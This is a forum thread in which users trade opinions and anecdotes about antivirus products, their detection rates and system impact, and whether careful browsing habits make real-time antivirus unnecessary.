I see people here does not use ESET that much.
I am a fan of ESET products like the Nod and the Smart Security. It is my go to AV but I tried Bitdefender Total Security for a week or more.
It was horrible. My Windows 8.1 that boots fast even I do not have an SSD, now boots so slow. It makes my internet browsing slow too. The firewall/av is too heavy even for a good rig.
I have installed it for more than a week now. I am just using Malwarebytes Pro for now but I will come back to ESET SS again.
or maybe I will try Kaspersky...


----------



## doomlord52

MSE + common sense is what I've been using for years. Almost no perf hit and protection from the base-level junk you might run into (and even that's rare). Combine that with a few reg checks or process checks (i.e. see what's running), and you're fine. Never had any compromised accounts, adware, spyware, etc.


----------



## SpykeZ

Quote:


> Originally Posted by *RushFudge*
> 
> I see people here does not use ESET that much.
> I am a fan of ESET products like the Nod and the Smart Security. It is my go to AV but I tried Bitdefender Total Security for a week or more.
> It was horrible. My Windows 8.1 that boots fast even I do not have an SSD, now boots so slow. It makes my internet browsing slow too. The firewall/av is too heavy even for a good rig.
> I have installed it for more than a week now. I am just using Malwarebytes Pro for now but I will come back to ESET SS again.
> or maybe I will try Kaspersky...


Kaspersky was quite a beast back in the day but hardware is significantly better these days. NOTHING gets passed their AV. Was a little pricey at the time but well worth it.


----------



## Strat79

I use MalwareBytes and windows firewall as well as semi-frequent "immunizations" with Spybot S&D. I used nothing for well over 10 years, turning off windows firewall, defender and UAC and never had any problems that I was aware of. I just figured my luck was going to run out and the impact of A/V and other security related software is miniscule on newer systems so may as well play it safe.

I'm surprised chinesekiwi hasn't been in this thread yet. He always likes to get his jabs in on those that go PC commando when it comes to security software.


----------



## Zero4549

*shrug* I honestly don't care too much about a measly 11% detection rate margin between "best" and "worst" active AVs (and lets face it, the actual best and actual worst aren't even on the list).

I also don't give a hoot about 10mb differences in memory usage that everyone seems so concerned about. Raise your hand if you have less than 6GB these days... yeah exactly.

What I care about is regular updates, a seamless and unintrusive experience, lack of false positives, and idle CPU/HDD usage.

I'd rather have a sneaky sneaky virus once every 10 years that gets past common sense, ad/script block, and a lightweight active AV that requires me to, in most cases, just download something like malwarebytes and be done with it in a few hours, or at worst, reformat.

Trading away 50% of my system performance / usability, 100% of the time, for 0.057% less downtime is a poor bargain for all but the most paranoid (or computer illiterate) users.


----------



## Paladin Goo

Quote:


> Originally Posted by *lombardsoup*
> 
> Its called "don't use Windows", and it works


No, it's called not being a complete idiot. I'm sorry, but there's so much in place all over the internet and within Windows these days to help prevent it, that you can only get a virus if you lack a brain and/or any form of common sense.

Only an ignoramus get's a virus these days.


----------



## Paladin Goo

Quote:


> Originally Posted by *candy_van*
> 
> I've never heard of Panda before, anyone here use it?
> 
> Curious how that or Bitdefender stack up to Eset in terms of not being intrusive / resource intensive.
> Always read Kaspersky was good but was a pretty big hog.


I use BitDefender right now (My fiance also uses my machine). I'll never buy it again. It's got great detection, light on resources...but it pops up ads 6 months before the new version comes out asking me to upgrade. In a paid product, ADS SHOULD NOT BE POPPING UP. It went from an antivirus to adware in a matter of seconds.


----------



## mr soft

Quote:


> Originally Posted by *Raven Dizzle*
> 
> No, it's called not being a complete idiot. I'm sorry, but there's so much in place all over the internet and within Windows these days to help prevent it, that you can only get a virus if you lack a brain and/or any form of common sense.
> 
> Only an ignoramus get's a virus these days.


Obviously you don´t have kids or elderly around ,they´ll click anything flashy and shiny.

Anyone remember when Norton was like a rootkit, and you had to download a program to get it off your PC ? That was besides the bloat and low detection rate,


----------



## deepor

Quote:


> Originally Posted by *BlackVenom*
> 
> Avira : )
> Quote:
> 
> 
> 
> Originally Posted by *kx11*
> 
> am i the only one who use no AV ?!
> 
> 
> 
> I'm always curious as to how the "I don't use AV" crowd validates their clean systems. I'd assume using an AV to see is kind of against the whole... no AV part.... but without checking they're only assured that nothing particularly noticeable is happening.
Click to expand...

Yeah, you still need some sort of complete system scan. I have that "herdProtect" thingy installed and run that regularly, also MalwareBytes.

I basically just don't use the realtime protection part of an AV that's always running and touches every little bit that ever gets loaded from disk. Instead I scan files I download manually, also scan the folder of a program I newly installed before starting it the first time. Because that's annoying, I try very hard to avoid ever installing something new and that also helps against viruses.









All those AV with realtime protection might have the issue that they try to speed things up by not scanning your old files. They assume those are safe, so even with realtime protection you will still need to run a complete scan regularly to get the old files checked against the updated virus database. If I have to do that anyways, I can then just skip the stupid realtime protection.


----------



## davcc22

Quote:


> Originally Posted by *deepor*
> 
> Yeah, you still need some sort of complete system scan. I have that "herdProtect" thingy installed and run that regularly, also MalwareBytes.
> 
> I basically just don't use the realtime protection part of an AV that's always running and touches every little bit that ever gets loaded from disk. Instead I scan files I download manually, also scan the folder of a program I newly installed before starting it the first time. Because that's annoying, I try very hard to avoid ever installing something new and that also helps against viruses.
> 
> 
> 
> 
> 
> 
> 
> 
> 
> All those AV with realtime protection might have the issue that they try to speed things up by not scanning your old files. They assume those are safe, so even with realtime protection you will still need to run a complete scan regularly to get the old files checked against the updated virus database. If I have to do that anyways, I can then just skip the stupid realtime protection.


you know how long it takes too scan though 4.1tb of stuff a long long time all night i think my best record was lol


----------



## Capt

Avira FTW!!!


----------



## DEW21689

Been running Norton for years without ever having any problems besides 1 update that caused a BSOD and was fixed in a few hours.

For all the people claiming Norton doesn't detect stuff so they remove it and put something else on that finds a ton of crap... First of all theres this thing called false positives, secondly... Every single system I've worked on that had Norton and got something Norton didn't detect was because the idiot user of the system managed to add a crap ton of stuff to Norton's exclude list. If you think Norton isn't detecting something, check the exclusion list first, you may be surprised...

Stop hating on software because it was the 'cool thing to do' like 8 years ago...


----------



## dkizzy

I've seen Norton fail several times without apps being on the exclusion list. I personally don't use it but I have recommended the free security suite for peorple I know with Comcast. I am not surprised that it was left out of the test but they should have had at least one iteration on there.


----------



## benbenkr

Surprised to see not many here use Avira...


----------



## AgentHydra

Glad I saw this, didn't realize MSE was quite so far down the list. Switched to BD free, I'm liking it so far no ads or nagging. Might shell out the bucks for the full version.


----------



## Nightfallx

in the past I used Avira, now I use ESET 4 life







.


----------



## ozlay

i use MSE with Malwarebytes Pro and haven't had any issues but am considering panda but was wondering if its more bloated then MSE because i dont want an AV that slows down my system or wants too run 24/7


----------



## Brutuz

And if you retest in a month the results will be completely different. Never got why people compare protection rates...Compare how long it takes for them to protect against new viruses for a better way to work out the best AV for you.

On using common sense as an AV, with adblock plus and knowing what sites to stay on it's definitely easy to not ever get a virus...I still install one every so often to check (Usually when one of these threads pops up or every ~6 months or so) and to date I haven't had anything other than the occasional false positive for years. It is valid as an AV for people who know what they're doing and know that there really aren't hot singles in your area behind that ad. Could I run an AV with little performance loss? Yeah, until it starts an automatic scan and slows stuff down if I'm running stuff installed from a HDD. (SSDs aren't so bad but I can still notice when I've got an AV scan in the background easily)


----------



## frickfrock999

Quote:


> Originally Posted by *Brutuz*
> 
> And if you retest in a month the results will be completely different. Never got why people compare protection rates...Compare how long it takes for them to protect against new viruses for a better way to work out the best AV for you.


What do you mean? That's exactly what they did in the tests, they say it right at the source.









These are tons of tests done over months and months and then compiled. It wasn't a one time situation.


----------



## marcus556

regular scans with malwarebytes is about all you need. I recommend if your going to pay for one pay for there's


----------



## sherlock

Quote:


> Originally Posted by *marcus556*
> 
> regular scans with malwarebytes is about all you need. I recommend if your going to pay for one pay for there's


and hurry up if you want to buy the paid version, the Life time license have almost sold out(Newegg/Amazon still have them for $33-$40 with occasion $20 sales, use to be $25 and I got both of mine for $15 each on sale) and once that's gone you would have to buy the yearly license.


----------



## BeerPowered

I want to see a test of how well they protect against unknown viruses(Not in the definitions, unknown signature). Have a team write some new viruses and unleash them against these AVs.

That's what really matters IMO.


----------



## DMac84

As a Cyber Securty Professional, many of you all are doing a disservice by not using any antivirus.

Accidents can always happen. You can get pregnant the first time so always wrap it up









And honest to god, I didn't know people used something other than ESET. Been using ESET for about 6 years and there is no other compareson.


----------



## fateswarm

Let me guess without reading anything in the thread yet. Half the posts are "I don't need an av". Half are "you do".


----------



## Razzaa

I find it funny that everyone is a tech pro but they still have a hard time spelling simple words. Crazy how people state"this AV is better than this AV because I use it"lol.

It is very easy to create a crypted virus that wont be detected by any AV out there. It happens all day everyday. The only way to avoid becoming a victim is to always know what you are downloading and installing. As i previously mentioned, programs and tools like Sandboxie and Virus total are common practice in the Virus/Hacking community.


----------



## BeerPowered

Quote:


> Originally Posted by *fateswarm*
> 
> Let me guess without reading anything in the thread yet. Half the posts are "I don't need an av". Half are "you do".


Pretty much.

People need to pay for an AV. Just because you download a Free AV every 2-3 months and do a scan that comes back clean, doesn't mean you're virus free. Many malicious programs can impregnate your system and hide from these Post-Infection scans. Its better to take that 40% discount offered during the trial and pay to keep a AV running 24/7.

Many of these malicious programs are smart and won't slow your system down while you're using it. They wait till your system is idle before they do their business.


----------



## AtomTM

Meh, going to try Avira now, jumped from avast! to Avira after seeing the results. If that doesn't work out, then this ->
Quote:


> Originally Posted by *xzamples*
> 
> heres what you really need
> windows defender
> malwarebytes
> panda cloud antivirus
> thats it


----------



## deepor

Quote:


> Originally Posted by *BeerPowered*
> 
> Pretty much.
> 
> People need to pay for an AV. Just because you download a Free AV every 2-3 months and do a scan that comes back clean, doesn't mean you're virus free. Many malicious programs can impregnate your system and hide from these Post-Infection scans. Its better to take that 40% discount offered during the trial and pay to keep a AV running 24/7.
> 
> Many of these malicious programs are smart and won't slow your system down while you're using it. They wait till your system is idle before they do their business.


But how will those malicious programs infect the system without you noticing? Won't you always be prompted for the admin password or at least asked a yes/no question when it wants to modify any system stuff?


----------



## DF is BUSY

Quote:


> Originally Posted by *Catscratch*
> 
> Quote:
> 
> 
> 
> Originally Posted by *DF is BUSY*
> 
> yeah nag screens and or pop up ads saying "when was the last time you scanned your computer?", stuff like that- I am way past those. I've no problems with false positives and such, but i rather have something that works, without nags or "ads", messages- protecting my computer but knows how to kick it up a notch if an intrusion does occur.
> 
> maybe i'm just being picky and or naive but that's why I've been sticking with MSE still despite how low it ranks. (lightweight + non-instrusive + no mess + user self-awareness = no problems)
> 
> 
> 
> Add a Malwarebytes Anti-Malware scan every week to your routines, then you are good.
Click to expand...

yup, that is exactly what my setup is

MSE + MWB


----------



## Atham

I use MSE. What would you recommend as a free anti-virus. I saw a lot of MSE bashing so I figure I am doing something wrong.


----------



## Baghi

BitDefender was free a while ago (link). Same promotion was also available last year as well, I used it for some time and found it good but I don't use any AV other than the Windows Defender that comes with Windows 8.1.1.
Quote:


> Originally Posted by *Atham*
> 
> I use MSE. What would you recommend as a free anti-virus. I saw a lot of MSE bashing so I figure I am doing something wrong.


I prefer Free Edition of Avast AV.


----------



## BeerPowered

Quote:


> Originally Posted by *deepor*
> 
> But how will those malicious programs infect the system without you noticing? Won't you always be prompted for the admin password or at least asked a yes/no question when it wants to modify any system stuff?


If you're smart enough to make your account Limited like I do and from your post im assuming you do too. Then yeah we don't need to worry as much. Its still not fool proof though. You still need an Anti-Virus.

Most people are not as smart as us and run their computer daily as an Administrator account and leave themselves vulnerable.


----------



## Flames21891

Awww. I was a bit disappointed to not see Webroot's SecureAnywhere up there. I've been using it for several years (Since it was called Spy Sweeper) and it does an excellent job when paired with common sense. It doesn't have an obscenely large footprint, and although it brings up some false positives, I'd rather it be paranoid than too lax.

I don't think I could ever rely solely on Microsoft Security Essentials. If someone's going to make a virus I'm sure that's the first thing they'll program it to bypass, which makes sense seeing as it comes with Windows for free, so it's safe to assume everyone has it.

Either way, I've never heard of this Panda software, but apparently it does a really good job. I may have to look into it.


----------



## Master__Shake

Quote:


> Originally Posted by *BeerPowered*
> 
> I want to see a test of how well they protect against unknown viruses(Not in the definitions, unknown signature). Have a team write some new viruses and unleash them against these AVs.
> 
> That's what really matters IMO.


http://www.eicar.org/85-0-Download.html

here give this a whirl


----------



## i7Stealth1366

Here is my belief, you need to use some kind of antivirus. However, I do not feel you need to buy one. I have used a combination of MSE and Malwarebytes for a while now and have not had any problems with being able to function on the computer. Have not had any fraud problems either, I think individuals need to be smart when surfing the web. Do not click on ads, use Adblock plus. Do not give information to untrusted sites, try to use private browsing. Do not download things from untrusted sites. Do not torrent. If you do that you should be fine.

This article needs to be take with a grain of salt. Who knows if some of these companies paid this individual to pad their stats.


----------



## jlhawn

Bit Defender has 50% off if you try their 30 day trial version, but you don't need to use the trial version, just download it and then the 50% off link arrives in your e-mail in box.


----------



## damric

Quote:


> Originally Posted by *Derp*
> 
> I wonder where norton would have placed.
> 
> Also, inb4 the horde of "the best protection is common sense, I haven't used an AV since XP!'


I haven't used AV since XP









I also don't engage in piracy, nor do I open random EXEs or click on the fake videos links, or anything else moronic.


----------



## Ghost12

Just windows 8 defender/mse here, never an issue, do not visit any dodgy sites, am carefull with installers and do not click anything I think is off. Zero problems


----------



## Bitemarks and bloodstains

Love all these claims of not using AV and being safe, guess you guys have never had of legit sites being infected through ads. This happened in the past to OCN and other legit sites.


----------



## jlhawn

Quote:


> Originally Posted by *Bitemarks and bloodstains*
> 
> Love all these claims of not using AV and being safe, guess you guys have never had of legit sites being infected through ads. This happened in the past to OCN and other legit sites.


exactly.
I have never had any problems but seen many who have and I had to fix their system for them.
I will never ever go without a good anti-virus program on my system. and yes I pay for mine but, it helps me sleep good at night.


----------



## i7Stealth1366

Quote:


> Originally Posted by *Bitemarks and bloodstains*
> 
> Love all these claims of not using AV and being safe, guess you guys have never had of legit sites being infected through ads. This happened in the past to OCN and other legit sites.


That is why you have Adblock plus. It is free and works with all browsers. Glad you think everyone needs to spend their cash on a antivirus that you have to pay yearly for. To me, if it is working well, you do need to go and change. Until I have a problem, I am not changing anything.


----------



## cokker

After using MSE for the last 4-5 years with no problem I gave Avast a go out of curiosity, it's pretty good but these results made me think about trying something else...

Bitdefender, very simple to use and is light too BUT... gziface.exe is making my GPU run at 3D speeds, google had no answer and no amount of fiddling will stop it...

Gave Panda free a go... adverts in the bottom right of the screen.

Back to MSE or Avast..


----------



## chinesekiwi

Quote:


> Originally Posted by *Bitemarks and bloodstains*
> 
> Love all these claims of not using AV and being safe, guess you guys have never had of legit sites being infected through ads. This happened in the past to OCN and other legit sites.


tired of rinse and repeat every time an AV-related thread comes up. Ignorance is bliss.

Who would I trust more? White hat hackers and people who have been in corporate IT security for 15+ years or gamers........

The former group basically states that consumer AV won't prevent you from targeted attacks but it'll protect you from the mass target doesn't-matter-what-computer malware there are out there. Also they say MSE is a joke.

Not to mention most malware these days are unnoticeable to the end user.

Here's an example, not malware, but brings the point home:

How many of you non-AV'ers realise that Origin was scanning your files looking for Origin games (supposedly anyway) all the time?
How many of you back in the day knew of the Sony rootkit that came with some CDs?

You must have a lot of time to observe every single process of your computer and know what's going on for you not to have to AV. Good luck with rootkits.


----------



## flyin15sec

I moved away from norton symantec because it would crash my router. This was back in the Linksys 54g router days. I've moved on to new routers , but I use MSE and Malwarebytes and rarely had router crashes. So just stuck with this setup on all my computers.


----------



## Deletive

Quote:


> Originally Posted by *i7Stealth1366*
> 
> That is why you have Adblock plus. It is free and works with all browsers. Glad you think everyone needs to spend their cash on a antivirus that you have to pay yearly for. To me, if it is working well, you do need to go and change. Until I have a problem, I am not changing anything.


oh please adblock plus is useless. companies just pay them to let some ads not be blocked.

I'm using the free avira and it works fine for me. I might try panda though I think cloud anti virus might be useful


----------



## sherlock

Quote:


> Originally Posted by *i7Stealth1366*
> 
> That is why you have Adblock plus. It is free and works with all browsers. Glad you think everyone needs to spend their cash on a antivirus that you have to pay yearly for. To me, if it is working well, you do need to go and change. Until I have a problem, I am not changing anything.


Having an AV =/= Having to spend cash on AV, plenty of good free AV that have minimal ads/pop ups that you can easily diable.


----------



## Derp

Quote:


> Originally Posted by *Deletive*
> 
> oh please adblock plus is useless. companies just pay them to let some ads not be blocked.


Are you leaving the "Allow some non-intrusive ads" box checked? If so, remove it and you won't see ads anywhere.


----------



## BeerPowered

Quote:


> Originally Posted by *Bitemarks and bloodstains*
> 
> Love all these claims of not using AV and being safe, guess you guys have never had of legit sites being infected through ads. This happened in the past to OCN and other legit sites.


Its the condom analogy all over again.

Sure she was pretty and said she was clean, so they didn't wear a condom. Now they have herpes, and it isn't removable, nor was it detectable until they had an outbreak.


----------



## Nightfallx

Quote:


> Originally Posted by *DMac84*
> 
> As a Cyber Securty Professional, many of you all are doing a disservice by not using any antivirus.
> 
> Accidents can always happen. You can get pregnant the first time so always wrap it up
> 
> 
> 
> 
> 
> 
> 
> 
> 
> And honest to god, I didn't know people used something other than ESET. Been using ESET for about 6 years and there is no other compareson.


agreed, this is the only anti virus I will ever use, I honestly forget sometimes I even have one running. it uses hardly any resources unlike the rest.


----------



## deepor

Quote:


> Originally Posted by *Bitemarks and bloodstains*
> 
> Love all these claims of not using AV and being safe, guess you guys have never had of legit sites being infected through ads. This happened in the past to OCN and other legit sites.


But how does me visiting that website with infected ads then cause my Windows to get infected? Or how does it even get to modify any normal files outside of Firefox or Chrome?

I don't intend to defend working without AV... I really want to know how that works so that I can try to protect myself better. Knowing how that would work should also help everyone as an AV likely won't detect new viruses.


----------



## Bloodbath

For what its worth I've been using MS essentials for nearly 10 years and have only picked up one virus. That was only picked up due to me ignoring my "code" and caving in to the wife's nagging to download some romantic comedy years back. But that's it, and I would consider myself a heavy web user.


----------



## the best around

this makes no sense to me, its almost laughable to me. why is having a free AV such a big deal? why is it so bad to some people. omg its uses like .1% of my cpu, and 20mb of ram OMG! lol im sorry if this sounds rude its just really funny to me, ive read every single reply in this thread.

idk, unless you are a legit hacker i really dont see how you would be able to detect virus's/male ware all by yourself, and im no computer genius.

when was the last time you were able to use your mind telekinesis to stop a virus from infecting your computer?


----------



## i7Stealth1366

Quote:


> Originally Posted by *the best around*
> 
> this makes no sense to me, its almost laughable to me. why is having a free AV such a big deal? why is it so bad to some people. omg its uses like .1% of my cpu, and 20mb of ram OMG! lol im sorry if this sounds rude its just really funny to me, ive read every single reply in this thread.
> 
> idk, unless you are a legit hacker i really dont see how you would be able to detect virus's/male ware all by yourself, and im no computer genius.
> 
> when was the last time you were able to use your mind telekinesis to stop a virus from infecting your computer?


I honestly do not know what to say to you guys. So much hate for MSE, at least it is better than not using one at all. I am done with this thread, too many individuals with extremely strong opinions.


----------



## the best around

Quote:


> Originally Posted by *i7Stealth1366*
> 
> I honestly do not know what to say to you guys. So much hate for MSE, at least it is better than not using one at all. I am done with this thread, too many individuals with extremely strong opinions.


i dont think mse is very effective, because from what I know, its been shown that it doesnt help you very much, sure its better than nothing but ive heard it barely does anything. Plus its so basic and so standard, youd think any virus maker would code their virus around it since everybody will probably have that. thats my .02 cents


----------



## spice003

Quote:


> Originally Posted by *lombardsoup*
> 
> I hope I'm not the only one that laughs when someone recommends Microsoft Security Essentials


dude i been using MSE for the past 4 years, running mint.


----------



## Polska

Panda found some cookies on my machine. Guess I can go back to running antivirus free.


----------



## deepor

Quote:


> Originally Posted by *the best around*
> 
> i dont think mse is very effective, because from I know, its been shown that it doesnt help you very much, sure its better than nothing but ive heard it barely does anything. Plus its so basic and so standard, youd think any virus maker would code it around that since everybody will probably have that. thats my .02 cents


It's detecting everything known and isn't worse than the other AVs with regards to that. The difference to the other AVs is that it does not have any guessing mechanism about unknown viruses. That should be where the difference in results comes from. This is also why it's used as a base line in the tests. Every other AV should beat it (it would be useless if it doesn't). But that base line is already very high so it isn't worthless. If you think it's worthless, every AV is worthless.


----------



## damric

Might I ask what are you guys doing on the internet that you keep getting viruses in the first place?


----------



## coc_james

First, a lot of techs recommend using MSE, because it doesn't conflict with Windows. Some of the big names out there are known triggers for BSODs, by improperly identifying legit software as a virus or malware.

ESET is great.

After testing a few versions of various programs, I landed on Bitdefender Total 2014. Its actually pretty great. It barely uses any resources.
Sent from my Lumia 1520 using Tapatalk


----------



## DEW21689

Yes
Quote:


> Originally Posted by *Bloodbath*
> 
> For what its worth I've been using MS essentials for nearly 10 years and have only picked up one virus. That was only picked up due to me ignoring my "code" and caving in to the wife's nagging to download some romantic comedy years back. But that's it, and I would consider myself a heavy web user.


Nearly 10 years? Impressive considering MSE came out in 2009


----------



## TheBloodEagle

Quote:


> Originally Posted by *the best around*
> 
> this makes no sense to me, its almost laughable to me. why is having a free AV such a big deal? why is it so bad to some people. omg its uses like .1% of my cpu, and 20mb of ram OMG! lol im sorry if this sounds rude its just really funny to me, ive read every single reply in this thread.
> 
> idk, unless you are a legit hacker i really dont see how you would be able to detect virus's/male ware all by yourself, and im no computer genius.
> 
> when was the last time you were able to use your mind telekinesis to stop a virus from infecting your computer?


Hah, I feel the same way, especially because this is an enthusiast website/forum. It's not like we are using potatoes as computers.


----------



## jlhawn

Quote:


> Originally Posted by *coc_james*
> 
> First, a lot of techs recommend using MSE, because it doesn't conflict with Windows. Some of the big names out there are known triggers for BSODs, by improperly identifying legit software as a virus or malware.
> 
> ESET is great.
> 
> After testing a few versions of various programs, I landed on Bitdefender Total 2014. Its actually pretty great. It barely uses any resources.
> Sent from my Lumia 1520 using Tapatalk


ESET gave a friend of mine a big nasty virus and a Trojan. had to go to Kaspersky to get a removal tool as ESET pretty much told me good luck when I was trying to repair their system.
the Kaspersky tool fixed their system and then they bought the full Kaspersky program and told ESET bye.
I myself use BitDefender.


----------



## chinesekiwi

Quote:


> Originally Posted by *Polska*
> 
> Panda found some cookies on my machine. Guess I can go back to running antivirus free.


'Oh, my GF's pregnancy test was negative this time.' Same deal really.


----------



## My Desired Display Name

I used to have problems with AVs, I don't use any now, just clean install windows once a month in case something is there, and check my real email addresses on my tablet.


----------



## TheBloodEagle

Quote:


> Originally Posted by *My Desired Display Name*
> 
> I used to have problems with AVs, I don't use any now, just clean install windows once a month in case something is there, and check my real email addresses on my tablet.


Which SSD are you using? Doesn't it wear it out much faster?


----------



## pr1me

Quote:


> Originally Posted by *damric*
> 
> Might I ask what are you guys doing on the internet that you keep getting viruses in the first place?


We browse the internet









I had a couple of dodgy script blocked by kaspersky while watching games on firstrow.
An AV mostly give your more freedom browsing and let you roam where you want while diminishing risk.


----------



## The Hundred Gunner

Quote:


> Originally Posted by *chinesekiwi*
> 
> 'Oh, my GF's pregnancy test was negative this time.' Same deal really.


Yep, it never happens before until it happens.
Quote:


> Originally Posted by *My Desired Display Name*
> 
> I used to have problems with AVs, I don't use any now, just clean install windows once a month in case something is there, and check my real email addresses on my tablet.


Do you have a base image or something? It sounds like a time consuming thing to do every month.


----------



## My Desired Display Name

Quote:


> Originally Posted by *TheBloodEagle*
> 
> Which SSD are you using? Doesn't it wear it out much faster?


Adata something or another, I haven't had any problems with it so far, not saying it wouldnt wear it down though.
Quote:


> Originally Posted by *The Hundred Gunner*
> 
> Do you have a base image or something? It sounds like a time consuming thing to do every month.


I my installation files on a usb, doesn't really take that long, maybe 10 mins tops. I usually don't notice it, I get it started before I do something.


----------



## flv1333

Cheers Frick!

I need to get an antivirus for my mothers machine and mine, but I was not able to decide which I should go for. This certainly makes the decision easier.. I will make a decision based on your find and the performance impact found here: http://www.av-comparatives.org/wp-content/uploads/2013/05/avc_per_201304_en.pdf

Looks like its going to be Panda


----------



## Kimir

I should give panda a try, in my panda build.


----------



## Dyson Poindexter

Quote:


> Originally Posted by *Bitemarks and bloodstains*
> 
> Love all these claims of not using AV and being safe, guess you guys have never had of legit sites being infected through ads. This happened in the past to OCN and other legit sites.


I haven't seen an ad on a website in years. And if some malicious Javascript can break out of the Chrome sandbox, there's a good chance it's going to get past your AV as well.


----------



## pokerapar88

I don't see Webroot AV. That's the one I'm using now...


----------



## Brutuz

Quote:


> Originally Posted by *frickfrock999*
> 
> What do you mean? That's exactly what they did in the tests, they say it right at the source.
> 
> 
> 
> 
> 
> 
> 
> 
> 
> These are tons of tests done over months and months and then compiled. It wasn't a one time situation.


Ah, I didn't read the source because every other time it's been the same useless tests. Good to hear that they're doing it right now.
Quote:


> Originally Posted by *chinesekiwi*
> 
> 'Oh, my GF's pregnancy test was negative this time.' Same deal really.


Not really, with the combination of Adblock and knowing what sites to not go on you can easily avoid viruses. I've done so for years, and I know for sure because I usually install Avira every so often and scan my machine usually only with cookies and the occasional false positive. Sure, I may get one eventually but the fact is that the odds of that are really low and it'll be found fairly quickly either way.

They do however cause issues even for advanced users, as evidenced by the 7GB log file filled with useless information that MalwareBytes decided to have on my SSD. When I deleted it I could see it filling up fast (It got to 200KB in less than a minute, it was just constantly writing the same line over and over for some reason) too, that's 7GB of writes from my SSDs lifetime thanks to Malwarebytes.
Quote:


> Originally Posted by *The Hundred Gunner*
> 
> Do you have a base image or something? It sounds like a time consuming thing to do every month.


Not really, you can do it easily with the right program. This has the benefit of installing the latest versions too, unlike a base image that would require you to then update everything.


----------



## deepor

Quote:


> Originally Posted by *pr1me*
> 
> We browse the internet
> 
> 
> 
> 
> 
> 
> 
> 
> 
> I had a couple of dodgy script blocked by kaspersky while watching games on firstrow.
> An AV mostly give your more freedom browsing and let you roam where you want while diminishing risk.


Those scripts were detected by Kaspersky and blocked and then it told you about that. What if you would have visited the page without using that web protection thingy of Kaspersky? Would it really have infected your PC? How would that script on the webpage gotten access to your Windows and started infecting stuff? How does this work? I can't really find anything that shows how it manages to do this.

That's why I ditched AV after reading up on stuff the last time there was a long thread with discussion on ocn.net. It appeared to me that UAC and Microsoft EMET is a lot more important than using an AV, but if you have those set up and are careful about downloads, nothing should get the chance to install itself.

How this getting-infected-while-web-browsing works should also be interesting for you. There is stuff out there that's completely new and that the Antivirus does not detect. If there's something you shouldn't do online to not get infected, that's good to know about.


----------



## charlesquik

been using panda for quite sometime now and it detect "all" the virus, its a nice free powerful utility


----------



## The Hundred Gunner

I don't know what samples these guys are using to test. Check out the first page of malc0de.com's malicious URL listings. A quick check of the VirusTotal reports shows that Panda nor BitDefender detect any of the latest 5 pieces of malware.


----------



## iSlayer

Quote:


> Love all these claims of not using AV and being safe, guess you guys have never had of legit sites being infected through ads. This happened in the past to OCN and other legit sites.


Between noscript and ABP+ and pretty much all modern browsers throwing up warning signs if something is funky that has become *less* of an issue. For those of you playing at home that have recently had your head caved in, no I'm not suggesting you're 100% safe, read what I read not what you want to hear.
Quote:


> tired of rinse and repeat every time an AV-related thread comes up. Ignorance is bliss.
> 
> Who would I trust more? White hat hackers and people who have been in corporate IT security for 15+ years or gamers........
> 
> The former group basically states that consumer AV won't prevent you from targeted attacks but it'll protect you from the mass target doesn't-matter-what-computer malware there are out there. Also they say MSE is a joke.


MSE being a joke. Yah. You know I would take these AV tests seriously if one didn't blatantly invalidate the other. Oh MSE is the best no its the worst now its merely okay wait its the best again.

Who exactly is right in all this?

Care to give some quotes from white hats and comp sec professionals? Maybe some sources on MSE being a joke?

Your post basically goes out of its way to say you can't trust these gamers and then you don't give any sources? Come on son.


----------



## Capt

I'm actually surprised people don't use Avira as much, it's honestly the best AV there is out there. It gets updates like twice a day.


----------



## Kimir

Quote:


> Originally Posted by *Capt*
> 
> I'm actually surprised people don't use Avira as much, it's honestly the best AV there is out there. It gets updates like twice a day.


I've used it for years but I got annoyed with the pop-up when you got those multiple daily update, updates are good, pop-up a lot less.
I've switched to Microsoft but it doesn't seems to be a good choice anymore, I never tried nor Panda nor Bitdefender so I'm probably gonna give a try of those 9 month of the last and see after. Highly tempted with the cute Panda tho.
Tested those three on a computer at work, the interface changed a little in Avira, config is as easy as before, all good on that.
Bitdefender look quite easy of use too, 9 months to try it, can't refuse and the last, aww the cute Panda in tray icon.







Windows 8 like interface, no a fan much, but easy of use as well and free.
I know I might take to much importance on user interface and configurability but in the end, if they perform all quite the same, what make you chose one over another?


----------



## azanimefan

Quote:


> Originally Posted by *candy_van*
> 
> I've never heard of Panda before, anyone here use it?
> 
> Curious how that or Bitdefender stack up to Eset in terms of not being intrusive / resource intensive.
> Always read Kaspersky was good but was a pretty big hog.


Panda is often in the top tier of these tests... this is the first time I've seen it in the lead. It's a cloud based service, and it's free last time i checked. You need 24/7 net access for it to work. I was going to give it a shot once... but i remember reading an article that was down on it because apparently it's a bit slow and heavy on the system overhead, at the time i was on limited equipment so i skipped it. though that was a couple of years ago. It might be better now.

i'm perfectly happy with avast! BTW.


----------



## Phaethon666

I personally really enjoy Eset, but have also had pretty good luck with Avast. I prefer Eset for its no holds barred scrutiny of every action I make, but its for my work computer and I like having that level of security. As for Avast... In its free version, it has on a couple occasions found viruses on my system, and it has a very nice silent gaming mode, so it plays well with full screen games and what not, but in the end I removed it off of my gaming rig because I rarely if ever go onto websites or open files that would contain a virus, and if I did open a file like that, I might just reinstall windows for the heck of it.


----------



## bigvaL

People use AV????

...they must be new to computers.


----------



## Particle

Quote:


> Originally Posted by *bigvaL*
> 
> People use AV????
> 
> ...they must be new to computers.


You see, this is what we call bait.


----------



## damric

Quote:


> Originally Posted by *bigvaL*
> 
> People use AV????
> 
> ...they must be new to computers.


Some people need it. You know who they are. They will have 20 types of malware on a new computer two days after purchase.


----------



## EniGma1987

Quote:


> Originally Posted by *damric*
> 
> Some people need it. You know who they are. They will have 20 types of malware on a new computer two days after purchase.


lol. You really think it takes them 2 days to get that much?


----------



## damric

Quote:


> Originally Posted by *EniGma1987*
> 
> lol. You really think it takes them 2 days to get that much?


I'm sure there are people that can do it in less than an hour


----------



## Kimir

Quote:


> Originally Posted by *damric*
> 
> I'm sure there are people that can do it in less than an hour


Yep, I know some guys like that.


----------



## iSlayer

Quote:


> Some people need it. You know who they are. They will have 20 types of malware on a new computer two days after purchase.


Probably best that my mom has a MBP. Yes I'm aware there are viruses no they're not anywhere close to a majority of all viruses.


----------



## Stefy

Used MSE for years. I've yet to see a virus.

I believe it's called common sense.


----------



## Derp

I've been driving for a decade now and haven't been in a single accident. I think I'll stop using a seat belt.

MSE has been terrible for a very long time now. I suggest changing to a much better and still free alternative.


----------



## Diablosbud

Honestly, there's no reason not to use an antivirus in modern times where computers have such high performance. It's a fail safe. Not using one is just being arrogant because you want to show off and think you're better than people that know less about operating systems.

